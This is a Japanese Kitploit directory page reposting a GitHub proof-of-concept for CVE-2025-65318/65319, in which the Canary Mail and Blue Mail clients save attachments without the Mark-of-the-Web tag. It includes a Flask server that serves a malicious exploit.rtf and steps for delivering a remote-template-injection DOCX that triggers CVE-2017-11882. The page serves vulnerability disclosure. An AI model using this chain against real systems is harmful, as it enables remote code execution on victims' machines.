Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-65318-and-CVE-2025-65319 — Canary Mail または Blue mail を使用する場合の安全でない添付ファイルの取り扱い | Kitploit
ツール/GitHubGitHub/bbaboha/cve-2025-65318-and-cve-2025-65319
脆弱性分析エクスプロイトウェブアプリケーション悪用マルウェア分析ペネトレーションテスト学習と教育
GitHubbbaboha/cve-2025-65318-and-cve-2025-65319

CVE-2025-65318-and-CVE-2025-65319

Canary Mail または Blue mail を使用する場合の安全でない添付ファイルの取り扱い

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
78ヶ月前未レビュー

CVE-2025-65318 および CVE-2025-65319 の PoC

  • CVE-2025-65318 (BDU:2025-13740): 添付ファイル操作機能を利用する際、Canary Mail 5.1.40 以下は Mark-of-the-Web タグなしでドキュメントをファイルシステムに保存するため、攻撃者は Windows OS およびサードパーティ製ソフトウェアの両方の組み込みファイル保護メカニズムを回避できます。
  • CVE-2025-65319 (BDU:2025-13739): 添付ファイル操作機能を利用する際、Blue Mail 1.140.103 以下は Mark-of-the-Web タグなしでドキュメントをファイルシステムに保存するため、攻撃者は Windows OS およびサードパーティ製ソフトウェアの両方の組み込みファイル保護メカニズムを回避できます。

概要

核心的な問題は、ユーザーが悪意のある添付ファイルを開くことではなく、Canary Mail や Blue Mail などのアプリが、添付ファイルを保存または開封するための便利でありながら安全ではない機能を提供していることです。これは、ユーザーを攻撃者にさらすセキュリティ脆弱性であると考えます。

CWE-693 - 保護メカニズムの失敗

PoC

"プログラムから開く" または "名前を付けて保存" ダイアログボックスを介した Office Word 添付ファイルの安全でない開封を実証するため、Office Word 16 以前に搭載されている数式エディタの脆弱性 CVE-2017-11882 を使用しました。

  1. 攻撃者のホスト上で、このスクリプト を使用して、そのホスト上で電卓を開く悪意のある RTF オブジェクトを作成します。
  2. Remote Template Injection を使用して悪意のある RTF ドキュメントを送信するサーバーを展開します。
root@kitploit:~
from flask import Flask, send_file, request
import logging
from datetime import datetime

app = Flask(__name__)

# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

@app.before_request
def log_request_info():
    logger.info(f'Request: {request.method} {request.url} from {request.remote_addr}')

@app.after_request
def log_response_info(response):
    logger.info(f'Response: Status {response.status_code} for {request.url}')
    return response

@app.route('/download')
def download_file():
    try:
        response = send_file('exploit.rtf', mimetype='application/msword', as_attachment=True)
        logger.info('File download successful')
        return response
    except FileNotFoundError:
        logger.error('File exploit.rtf not found')
        return 'File not found', 404

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

  1. 任意の DOCX ドキュメントを作成し、たとえば PowerShell スクリプト を実行してリモートテンプレート注入を使用します。
  2. 攻撃者は、作成した悪意のある DOCX ドキュメントを被害者に送信します。
  3. 被害者は、Canary Mail/Blue Mail の "プログラムから開く" または "名前を付けて保存" 機能を使用して悪意のあるドキュメントを開きます。
  4. 悪意のあるドキュメントを開くと、被害者は追加のボタンを押すことなく侵害される可能性があります。

影響

Microsoft Office Word 16 以前の旧バージョンを使用しているユーザーに対する潜在的な RCE

影響を受けるバージョン

  • Canary Mail 5.1.40 以下
  • Blue Mail 1.140.103 以下

ビデオ PoC

CVE-2025-65318

https://github.com/user-attachments/assets/fc99d603-f56f-451b-a9f2-821422feef61

CVE-2025-65319

https://github.com/user-attachments/assets/68b638b9-e906-4c78-baae-84a369f807f3

参考文献

  • https://bdu.fstec.ru/vul/2025-13739
  • https://bdu.fstec.ru/vul/2025-13740

免責事項

このリポジトリは教育および防御的なセキュリティ研究のみを目的としています。

ツールをダウンロード